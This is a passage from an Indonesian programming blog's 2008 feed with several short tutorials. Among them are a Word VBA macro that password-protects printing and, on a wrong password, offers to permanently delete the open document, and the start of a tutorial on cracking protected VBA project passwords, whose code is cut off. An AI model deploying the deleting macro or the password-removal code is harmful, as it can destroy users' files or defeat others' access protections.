</description><link>http://indoprogrammer.blogspot.com/2008/08/berkenalan-dengan-c-dan-clr.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-5576705999554400714</guid><pubDate>Thu, 21 Aug 2008 12:57:00 +0000</pubDate><atom:updated>2008-08-21T19:57:16.908+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Java</category><title>Dasar Pemograman Dengan Java</title><description>&lt;p align=&quot;justify&quot;&gt;Pemrograman dengan Java   &lt;br /&gt;Java sebagai salah satu bahasa pemrograman baru menjanjikan banyak kemudahan bagi programer junior maupun senior. Tutorial ini akan membawa Anda mengenal lebih jauh bahasa ini melalui pembahasan konsep model perancangan dan petunjuk sederhana penggunaannya.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Apakah Java?   &lt;br /&gt;Java adalah bahasa pemrograman berorientasi objek yang dikembangkan oleh Sun Microsystems sejak tahun 1991. Bahasa ini dikembangkan dengan model yang mirip dengan bahasa C++ dan Smalltalk, namun dirancang agar lebih mudah dipakai dan &amp;#173;platform independent, yaitu dapat dijalankan di berbagai jenis sistem operasi dan arsitektur komputer&amp;#173;&amp;#173;. Bahasa ini juga dirancang untuk pemrograman di Internet sehingga dirancang agar aman dan portabel.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Platform Independent   &lt;br /&gt;Platform independent berarti program yang ditulis dalam bahasa Java dapat dengan mudah dipindahkan antar berbagai jenis sistem operasi dan berbagai jenis arsitektur komputer. Aspek ini sangat penting untuk dapat mencapai tujuan Java sebagai bahasa pemrograman Internet di mana sebuah program akan dijalankan oleh berbagai jenis komputer dengan berbagai jenis sistem operasi. Sifat ini berlaku untuk level source code dan binary code dari program Java. Berbeda dengan bahasa C dan C++, semua tipe data dalam bahasa Java mempunyai ukuran yang konsisten di semua jenis platform. Source code program Java sendiri tidak perlu dirubah sama sekali jika Anda ingin mengkompile ulang di platform lain. Hasil dari mengkompile source code Java bukanlah kode mesin atau instruksi prosesor yang spesifik terhadap mesin tertentu, melainkan berupa bytecode yang berupa file berekstensi .class. Bytecode tersebut dapat langsung Anda eksekusi di tiap platform yang dengan menggunakan Java Virtual Machine (JVM) sebagai interpreter terhadap bytecode tersebut.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;JVM sendiri adalah sebuah aplikasi yang berjalan di atas sebuah sistem operasi dan menerjemahkan bytecode program Java dan mengeksekusinya, sehingga secara konsep bisa dianggap sebagai sebuah interpreter. Proses pengeksekusian program Java dapat dilukiskan seperti di Gambar 1. Dengan cara ini, sebuah program Java yang telah dikompilasi akan dapat berjalan di platform mana saja, asalkan ada JVM di sana.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Kompiler dan interpreter untuk program Java berbentuk Java Development Kit (JDK) yang diproduksi oleh Sun Microsystems. JDK ini dapat didownload gratis dari situs java.sun.com. Interpreter untuk program Java sendiri sering juga disebut Java Runtime atau Java Virtual Machine. Interpreter Java, tanpa kompilernya, disebut Java Runtime Environment (JRE) dapat didownload juga di situs yang sama. Untuk mengembangkan program Java dibutuhkan JDK, sementara jika hanya ingin menjalankan bytecode Java cukup dengan JRE saja. Namun untuk mengeksekusi applet (sebuah bytecode Java juga) Anda biasanya tidak perlu lagi mendownload JRE karena browser yang Java-enabled telah memiliki JVM sendiri.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Library   &lt;br /&gt;Selain kompiler dan interpreter, bahasa Java sendiri memiliki library yang cukup besar yang dapat mempermudah Anda dalam membuat sebuah aplikasi dengan cepat. Library ini sudah mencakup untuk grafik, desain user interface, kriptografi, jaringan, suara, database, dan lain-lain.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;OO   &lt;br /&gt;Java adalah bahasa pemrograman berorientasi objek. Pemrograman berorientasi objek secara gamblang adalah teknik untuk mengorganisir program dan dapat dilakukan dengan hampir semua bahasa pemrograman. Namun Java sendiri telah mengimplementasikan berbagai fasilitas agar seorang programer dapat mengoptimalkan teknik pemrograman berorientasi objek.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Sedikit perbandingan tambahan dengan bahasa C dan C++, Java banyak mewarisi konsep orientasi objek dari C++ namun dengan menghilangkan aspek-aspek kerumitan dalam bahasa C++ tanpa mengurangi kekuatannya. Hal ini mempermudah programer pemula untuk mempelajari Java namun mengurangi keleluasaan programer berpengalaman dalam mengutak-atik sebuah program. Di balik kemudahan yang ditawarkan Java, luasnya fasilitas library Java sendiri membuat seorang programer membutuhkan waktu yang tidak singkat untuk dapat menguasai penggunaan library-library tersebut.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://pedagangasongan.blogspot.com/2008/08/dasar-pemograman-dengan-java.html&quot; target=&quot;_blank&quot;&gt;pedagangasongan.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:3b35c248-9a14-440f-b4c6-0f712a095e48&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/java&quot; rel=&quot;tag&quot;&gt;java&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source%20code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/pengenalan&quot; rel=&quot;tag&quot;&gt;pengenalan&lt;/a&gt;&lt;/div&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;/p&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/dasar-pemograman-dengan-java.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-7878950784594592757</guid><pubDate>Thu, 21 Aug 2008 12:50:00 +0000</pubDate><atom:updated>2008-08-21T19:50:09.116+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>Memproteksi Printer dengan Password</title><description>&lt;p align=&quot;justify&quot;&gt;Source code ini saya buat ketika sedang seru-serunya bermain Age of Mythology (Titan Expansion) tiba-tiba ada seorang gadis mengeluh bahwa Printer sering bermasalah kalau penggunaannya tidak dikontrol dengan pintar, kejadian-kejadian kecil sering menjadi pemicunya, seperti: menarik kertas secara paksa saat terjadi &amp;quot;paper jam&amp;quot;, mengisi tinta beda merek tanpa ijin, atau membersihkan cartridge dengan kertas. &lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Kalau sudah begini keadaannya, proteksi itu penting, agar orang lain tidak sembarangan memakai. Bagaimana caranya?&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;1. Buka Microsoft Word (terserah, menggunakan Word 2000/xp/2003/2007) &amp;gt; tekan Alt + F11 untuk membuka VisualBasicEditor   &lt;br /&gt;2. Pada panel kiri, pilih: Normal &amp;gt; Microsoft Word Objects &amp;gt; lalu klik dua kali pada This Document (icon MS-Word)    &lt;br /&gt;3. Copy paste kode yang disertakan di bawah ini pada panel sebelah kanan    &lt;br /&gt;4. Tekan Ctrl + S untuk menyimpan perubahan&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Efek yang terjadi jika kode tadi sudah terpasang pada GlobalTemplate di Microsoft Word adalah:   &lt;br /&gt;- Jika %user% mengeksekusi perintah mencetak (print) dengan menekan Ctrl + P, atau klik File &amp;gt; Print, atau klik toolbar printer    &lt;br /&gt;maka akan muncul kotak dialog yang meminta password printer. Jika password benar maka user baru berhadapan dengan dialog print     &lt;br /&gt;(seperti biasa) namun jika password yang dituliskan keliru, akan muncul pernyataan bahwa password salah dan system langsung menawarkan apakah document ini akan dihapus? Satu-satunya cara menyelamatkan adalah dengan menekan Esc atau klik Cancel. Kalau Anda klik OK maka document akan dihapus secara permanen. &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Tidak bisa di-recover dari Recycle Bin ataupun memakai program recovery. &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Saya sarankan: berikan password dan sembunyikan document di folder rahasia. Kami menyebutnya teknologi yang mengerti Anda.    &lt;br /&gt;- Seperti yang terlihat di SourceCode, passwordnya sangat gampang terlihat. &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Ini dia source code yang bisa Anda gunakan untuk memproteksi printer (segala merek)   &lt;br /&gt;&#39;-------------------------------------------------- copy-paste &lt;/p&gt;  &lt;div align=&quot;justify&quot;&gt;   &lt;pre&gt;&lt;br /&gt;&#39;FileName       : FilePrint.bas&lt;br /&gt;&#39;Author         : r3cyclebin&lt;br /&gt;&#39;email          : ven0mday@gmail.com&lt;br /&gt;&#39;Description    :&lt;br /&gt;&#39;Akses ke File &amp;gt; Print atau Ctrl+P dipasangi password, jika isiannya dikosongkan&lt;br /&gt;&#39;ataupun password salah maka akan dianggap tindakan ilegal&lt;br /&gt;&#39;dan ditawari menghapus dokumen secara permanen (tidak singgah di Recycle Bin).&lt;br /&gt;&#39;Kalau macro ini akan dimodifikasi melalui ViewVBCode akan ada lagi interupsi password.&lt;br /&gt;&#39;Password Ctrl+P : &amp;quot;pandorasbox&amp;quot; dan ViewVBCode : &amp;quot;divineintervention&amp;quot;&lt;br /&gt;&#39;---------------------------------------------------------------------------------------&lt;br /&gt;Sub FilePrint()&lt;br /&gt;If InputBox(&amp;quot;Access for authorized user only&amp;quot; &amp;amp; Chr(13) &amp;amp; &amp;quot;Enter current password&amp;quot; &amp;amp; Chr(13) &amp;amp; &amp;quot;Hint: invoke god&#39;s power in AOMX&amp;quot;, &amp;quot;::: RESTRICTED AREA :::&amp;quot;) = &amp;quot;pandorasbox&amp;quot; Then&lt;br /&gt;MsgBox &amp;quot;Password Accepted!&amp;quot;&lt;br /&gt;Dialogs(wdDialogFilePrint).Show&lt;br /&gt;Else&lt;br /&gt;Dim strFileToDelete As String&lt;br /&gt;Dim docOpen As Document&lt;br /&gt;Dim intDocCount As Integer&lt;br /&gt;intDocCount = 0&lt;br /&gt;For Each docOpen In Documents&lt;br /&gt;   intDocCount = intDocCount + 1&lt;br /&gt;Next docOpen&lt;br /&gt;If intDocCount &amp;gt; 0 Then&lt;br /&gt;   If MsgBox(&amp;quot;Access denied&amp;quot; &amp;amp; vbCrLf &amp;amp; &amp;quot;Delete this file permanently?&amp;quot;, vbYesNo) = vbYes Then&lt;br /&gt;      If Len(ActiveDocument.Path) &amp;lt;&amp;gt; 0 Then&lt;br /&gt;         strFileToDelete = ActiveDocument.FullName&lt;br /&gt;         ActiveDocument.Close SaveChanges:=False&lt;br /&gt;         Kill strFileToDelete&lt;br /&gt;      Else&lt;br /&gt;         ActiveDocument.Close SaveChanges:=False&lt;br /&gt;      End If&lt;br /&gt;   End If&lt;br /&gt;Else&lt;br /&gt;   MsgBox &amp;quot;File deleted. Mission accomplish!&amp;quot;, vbOKOnly&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;Sub ToolsMacro()&lt;br /&gt;ViewVBCode&lt;br /&gt;End Sub&lt;br /&gt;Sub ViewVBCode()&lt;br /&gt;If InputBox(&amp;quot;Enter current password:&amp;quot;, &amp;quot;Restricted Area&amp;quot;) = &amp;quot;divineintervention&amp;quot; Then&lt;br /&gt;Application.ShowVisualBasicEditor = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;br /&gt;&#39;------- end of file&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;Saya rajin membuka situs Microsoft sejak 1999 karena semua client saya berurusan dengan software buatan Microsoft.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://ven0mday.blogspot.com/2008/08/memproteksi-printer-dengan-password.html&quot; target=&quot;_blank&quot;&gt;ven0mday.blogspot.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:77cd4169-2d78-4da4-a5b9-46f90a563f0a&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/proteksi&quot; rel=&quot;tag&quot;&gt;proteksi&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/password&quot; rel=&quot;tag&quot;&gt;password&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/visual%20basic&quot; rel=&quot;tag&quot;&gt;visual basic&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/memproteksi-printer-dengan-password.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-1549583911560392621</guid><pubDate>Thu, 21 Aug 2008 12:47:00 +0000</pubDate><atom:updated>2008-08-21T19:47:35.144+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Java</category><title>Belajar Membuat Mobile Aplikasi dengan J2ME</title><description>&lt;p align=&quot;justify&quot;&gt;Artikel ini menjelaskan tentang cara memulai membuat aplikasi J2ME (aplikasi Java untuk perangkat kecil, seperti selular, PDA dan lainnya) tanpa menuliskan kode kode programming (source-code) sedikitpun, karena artikel ini ditujukan kepada programmer yang belum pernah membuat aplikasi J2ME, banyak para programmer desktop PC yang mungkin merasa terlalu susah untuk bikin aplikasi J2ME untuk selular, mudah mudahan artikel singkat ini bisa memberikan penjelasan yang cukup dan memberikan semangat yang positif untuk memulai membuat aplikasi J2ME.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Membuat aplikasi J2ME tidak memerlukan banyak software yang rumit atau besar, salah satu software yang pasti diperlukan adalah J2SE SDK/JDK, dalam J2SE SDK/JDK ini terdapat runtime dan library untuk program Java secara umum termasuk juga untuk J2ME, pada saat artikel ini ditulis telah ada J2SE SDK v1.4.2.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Untuk menulis source-code J2ME, maka kita memerlukan sebuah J2ME IDE (integrated development environment), ada beberapa pilihan IDE yang diantaranya adalah Netbean, Sun One Java Studio Mobility, CodeWarrior dan notepad (atau text editor lainnya), untungnya semua software IDE yang disebutkan ini dapat di download gratis di website resmi masing masing perusahaan, jadi untuk membuat program J2ME maka pihak developer tidak perlu mengeluarkan uang sama sekali untuk membeli software IDE.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Pada artikel ini yang diulas adalah IDE dari Netbean v4.1 dengan tambahan Netbean Mobility Pack v4.1, tambahan ini diperlukan untuk membuat aplikasi J2ME, karena jika hanya dengan Netbean v4.1 hanya dapat membuat aplikasi Java saja, Netbean Mobility Pack adalah module-module aplikasi J2ME dan emulator device untuk testing dalam PC. IDE lainnya boleh dicoba tapi dianjurkan memakai Netbean v4.1 karena versi ini sangat mudah dioperasikan dan dirasakan cukup cepat dibanding IDE lainnya dalam hal loading, compiling, running dan debugging.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Langkah yang dilakukan oleh editor untuk memulai pembuatan aplikasi J2ME adalah:   &lt;br /&gt;1. Install J2SE SDK v1.4.2 (50MB)    &lt;br /&gt;2. Install Netbean v4.1 (47MB)    &lt;br /&gt;3. Install Netbean Mobility Pack v4.1 (18MB)    &lt;br /&gt;4. Jalankan Netbean v4.1, buat projek baru dan pilih kategori &amp;quot;Mobile&amp;quot; dan tipe projek &amp;quot;Mobile Application&amp;quot;    &lt;br /&gt;5. Pilih lokasi tempat menyimpan file-file projek ini, &amp;quot;Set as Main Project&amp;quot; dan &amp;quot;Create Hello MIDlet&amp;quot; jangan dirubah (tercentang)    &lt;br /&gt;6. Pada halaman &amp;quot;Platform selection&amp;quot; pilih &amp;quot;Device Configuration&amp;quot; = CLDC-1.0 dan &amp;quot;Device Profile&amp;quot; = MIDP-1.0 (versi terkecil yang dapat digunakan dalam semua selular yang support J2ME)    &lt;br /&gt;7. Setelah semua selesai (tempate telah dibuat), jalankan aplikasi ini dengan menekan tombol F6 (Run Main Project).    &lt;br /&gt;8. Lalu project ini akan dikompile dan emulator akan keluar, gunakan mouse untuk mengoperasikan emulator tersebut, dengan menekan nekan tombol keypad dalam emulator tersebut mirip seperti selular biasa.    &lt;br /&gt;9. Pada saat ini, aplikasi &amp;quot;Hello World&amp;quot; kita telah selesai dibuat dan bisa langsung di tes pada selular yang sebenarnya.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Untuk testing langsung ke dalam selular, yang diperlukan tidaknya banyak, hanya:   &lt;br /&gt;1. Selular phone yang mendukung J2ME (setidaknya MIDP v1).    &lt;br /&gt;2. Alat untuk memindahkan aplikasi (.JAR dan .JAD) yang sudah dibuat kedalam selular, dapat berupa kabel data, infrared, bluetooth atau card reader/writer jika selular yang ingin digunakan sebagai test device memiliki slot memory external, seperti MMC, MemoryStick dan lainnya. Cara pemindahan aplikasi J2ME sama seperti cara mengisi ringtone, image dan lainnya.    &lt;br /&gt;3. Software untuk memindahkan aplikasi J2ME ke dalam selular, bisa menggunakan aplikasi yang dibuat oleh perusahaan lain (bukan buatan vendor selular tersebut), seperti MobiMB yang berukuran kecil, mudah dan cepat.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Dalam artikel ini, selular yang digunakan sebagai test adalah Nokia 6015 (memakai kabel data USB) dan Nokia 9500 (memakai card reader/writer untuk mengkopi file .JAR dan .JAD ke dalam MMC). File file yang perlu ditransfer kedalam selular adalah file .JAR (dan .JAD jika diperlukan) yang berada dalam direktori &amp;quot;DIST&amp;quot;, lokasi direktori ini telah ditentukan pada langkah ke 5.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Kita telah selesai membuat aplikasi J2ME &amp;quot;Hello World&amp;quot;, untuk merubah text atau menambah objek objek lainnya seperti TextBox, RadioBox, tombol- tombol menu dan lainnya dapat kita lakukan dalam Netbean, juga tanpa perlu menuliskan source-code karena Netbean v4.1 sudah memiliki fungsi yang cukup bagus dan mudah dengan drag-and-drop mirip seperti programming Visual Basic dan lainnya yang hanya memerlukan perubahan pada properti-properti objek tersebut jika diperlukan seperti kata-kata nya, lebar tingginya dan lain lain.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Memang aplikasi yang telah dibuat ini tidak begitu berguna, tapi bagi para programmer yang telah menguasai bahasa pemrograman Java maka tidaklah sulit untuk membuat aplikasi atau game game untuk selular yang mungkin bisa dengan mudah dijual kepada perusahaan perusahaan mobile content aggregator karena bisnis mobile content cukup lumayan saat ini.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Pilihan J2ME untuk membuat aplikasi/game selular sangat bagus, karena ukuran file nya kecil (file JAR Hello World yang telah kita buat ini hanya kurang lebih 1 kilobyte saja), bahasa Java relatif lebih mudah dipelajari dibanding C/C++ untuk Symbian, Palm, Pocket PC dan Linux, dan alasan yang terakhir adalah software IDE untuk J2ME versi sekarang ini sangat baik dan lebih mudah digunakan.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Kemungkinan jika semua langkah yang dijelaskan diatas dicoba dengan sama persis oleh para pemula, maka mungkin hanya membutuhkan waktu kurang dari 10 menit hingga selesai dimasukan dalam selular, pihak editor hanya membutuhkan kurang dari 3 menit untuk menyelesaikannya.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://demorgand.blogspot.com/2008/08/belajar-membuat-mobile-aplikasi-dengan.html&quot; target=&quot;_blank&quot;&gt;demorgand.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:adf971ee-c283-4e86-82ee-ef247ba57fac&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/mobile&quot; rel=&quot;tag&quot;&gt;mobile&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/j2me&quot; rel=&quot;tag&quot;&gt;j2me&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/belajar&quot; rel=&quot;tag&quot;&gt;belajar&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/aplikasi&quot; rel=&quot;tag&quot;&gt;aplikasi&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/belajar-membuat-mobile-aplikasi-dengan.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-2553323530714869477</guid><pubDate>Thu, 21 Aug 2008 12:44:00 +0000</pubDate><atom:updated>2008-08-21T19:44:49.220+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>Free &amp;amp; Open Source VB 6 : Copy Playlist Winamp Ke Mp3 Player</title><description>&lt;p align=&quot;justify&quot;&gt;Program ini sangat sederhana, dan dibuat asal jadi, tapi dapat dimodifikasi dan dikembangkan sesuai keperluan.   &lt;br /&gt;Tapi kalo langsung dijalanin tanpa tau duduk perkaranya, mungkin malah bingung program ini untuk apa, bisa-bisa nuduh si Joko lagi error pas coding, bikin program nggak jelas kayak gini.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Karena itu, pastikan memahami dulu cerita mengapa program ini dibuat... yuukkk... (gaya Tora Sudiro, masing sering gitu nggak dia?)   &lt;br /&gt;&lt;img title=&quot;Generate by Smileykiti&quot; src=&quot;http://www.smileyarena.com/emoticons/packs/Miranda_Orange/mir28.gif&quot; /&gt;    &lt;br /&gt;Alkisah begini...    &lt;br /&gt;Gue kan punya banyak tuh koleksi mp3 di harddisk, misalnya strukturnya kayak gini:&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;   &lt;br /&gt;\mp3    &lt;br /&gt;\Bon Jovi    &lt;br /&gt;Always.mp3    &lt;br /&gt;It&#39;s My Life.mp3    &lt;br /&gt;\Madonna    &lt;br /&gt;Take a Bow.mp3    &lt;br /&gt;La Isla Bonita.mp3    &lt;br /&gt;\Helloween    &lt;br /&gt;Still I Don&#39;t Know.mp3    &lt;br /&gt;Why.mp3&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;   &lt;br /&gt;ini cuma contoh sederhananya, kenyataannya ada lebih banyak file dan sub folder, nah biasanya gue add semua mp3 itu ke dalam Winamp. Setelah semua ada di playlist Winamp, kan enak tuh buat ngatur-ngaturnya, lagu apa yang kita mau denger, urutannya, lagu apa yang kita mau hapus dari list, dan seterusnya.    &lt;br /&gt;Biasanya, gue pilih lagu-lagu yang gue suka, misalnya 10 lagu, sementara lagu-lagu lainnya gue hapus dari list. Nah, 10 lagu itu gue mau copy ke mp3 player jadi bisa gue bawa-bawa dan dengar di luar.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Gimana caranya ngopy 10 lagu itu ke mp3 player gue? Lumayan susah kalo cara manual, kita harus tau path dan nama file mp3 itu, misalnya 10 lagu itu berada di folder yang berbeda-beda, berarti kita harus ke masing-masing folder tersebut dan secara manual copy lagunya ke mp3 player, mending kalo cuma 10 lagu, karena mp3 player sekarang kapasitasnya udah gede-gede, gimana kalo 100 lagu? Panadol kan....&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Untuk kegunaan itu lah, program ini tercipta. Langkah-langkahnya:   &lt;br /&gt;1. Simpan playlist Winamp berisi lagu-lagu favorit itu ke text file. Caranya klik tombol List Opts - Save List. List yang disimpan akan memiliki extension m3u (sebenernya file text biasa aja), misalnya file bernama laguku.m3u    &lt;br /&gt;2. Jalankan program ini, browse ke laguku.m3u, maka program otomatis akan mengcopy seluruh file mp3 ke folder C:\TEMP (kalo nggak ada, create dulu folder ini).    &lt;br /&gt;3. Kalo semua lagu sudah terkumpul di satu folder C:\TEMP, tinggal gampang kan pindahin ke mp3 player. Programnya juga bisa dimodifikasi supaya simpan langsung ke drive mp3 player, misalnya.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Udah.. begitu ceritanya. Silahkan digunduh source code-nya di &lt;a href=&quot;http://joko.nurjadi.googlepages.com/Jn.Mp3Copier.rar&quot;&gt;http://joko.nurjadi.googlepages.com/Jn.Mp3Copier.rar&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://jokonurjadi.blogspot.com/2008/08/free-open-source-vb-6-copy-playlist.html&quot; target=&quot;_blank&quot;&gt;jokonurjadi.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:9b7c06c7-aacb-41e4-ab56-8b4ad5872481&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/visual%20basic&quot; rel=&quot;tag&quot;&gt;visual basic&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/programming&quot; rel=&quot;tag&quot;&gt;programming&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source%20code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;&lt;/div&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;/p&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/free-open-source-vb-6-copy-playlist.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-2148322580451452841</guid><pubDate>Thu, 21 Aug 2008 12:39:00 +0000</pubDate><atom:updated>2008-08-21T19:39:30.196+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>Mbobol Password VBA</title><description>&lt;p align=&quot;justify&quot;&gt;Setelah sekian lama file ini ga ketemu (Mengapa aku posting ni tulisan karena lebih dari 2 bulan yang lalu aku buat VBA di excell n aku protect dengan password tapi aku lupa tu password hehe maklum pelupa), 1 minggu lalu aku ketemukan akan tetapi akan pindah di hardisk yang salah alias aku pindah di hardisk yang kena badsector jadi ya hilang lagi deh..... Setelah sekian lama aku diamkan tu hardisk sampai 1 minggu maka berhasil juga aku buka tu hardisk, hehe akhirnya aku buatkan juga gimana cara crack atau merubah password pada Microsoft Word maupun Excell yang didalamnya ada VBA yang di password. &lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Ni Tutorial aku dapatkan pada site &lt;a href=&quot;http://www.vb-bego.net&quot;&gt;www.vb-bego.net&lt;/a&gt; pada tahun 2006 yang dibuat oleh Anti Hacker.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Silahkan anda ikuti berikut ini:    &lt;br /&gt;Untuk mencoba source ini jalan apa nggak, coba bikin satu dokumen word atau excel, kemudian tekan ALT+F11 (maksudnya biar masuk ke VBA editorya) nah kalo udah berada pada VBA Editor, coba tambahkan beberapa component object. spt: module, form atau class.    &lt;br /&gt;Selanjutnya coba kamu proteksi VBA tersebut dengan cara klik kanan pada Project Explorer, kemudian pilih ...Properties...kemudian pilih TAB Protection.    &lt;br /&gt;Coba masukan password apa aja untuk mencobanya. kemudian save.    &lt;br /&gt;nah sekarang kita tinggal buat programnya.....hm..m...m.mmm..spt biasa tinggal Copy Paste nih source..., ok deh broo selamat mencoba.    &lt;br /&gt;Siapkan aja Form1 dan Command1 kemudian Copy Pastekan source berikut&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;     &lt;br /&gt;Option Explicit      &lt;br /&gt;&#39;// Header Password Untuk VBA      &lt;br /&gt;Const vbbego72 = &amp;quot;E9EB458A628A62759E8B62EFEB0B9567D2F09&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;604067445E7DBDA0C1565BA2023778FEFF9&amp;quot;      &lt;br /&gt;Const vbbego74 = &amp;quot;C2C06E8D52AA52AAAD5653AAE9253D286E4EE&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;E66E86F219911B87D7162FD74EEF579FEB513&amp;quot;      &lt;br /&gt;Const vbbego76 = &amp;quot;ADAF0155017E1E7E1E81E27F1E1BAF57D1DB8&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;E045A28FA28492BA70640C9B1EEEC57ABBBD325&amp;quot;      &lt;br /&gt;Const vbbegoxx = &amp;quot;5654FA3F0641585E585EA7A2595EDCE369B3D&amp;quot; &amp;amp; _      &lt;br /&gt;&amp;quot;FBAB6E0DBB94699F7682AD4B8EF5510B4E293F62A&amp;quot;      &lt;br /&gt;Private Sub Command1_Click()      &lt;br /&gt;Dim hFile As String      &lt;br /&gt;Dim inFile As Long, nLoop As Long      &lt;br /&gt;Dim Header As String      &lt;br /&gt;Dim State As Boolean      &lt;br /&gt;&#39;// Header Key VBA Password      &lt;br /&gt;Header = Chr(&amp;amp;HD) &amp;amp; Chr(&amp;amp;HA) &amp;amp; Chr(&amp;amp;H44) &amp;amp; Chr(&amp;amp;H50) &amp;amp; _      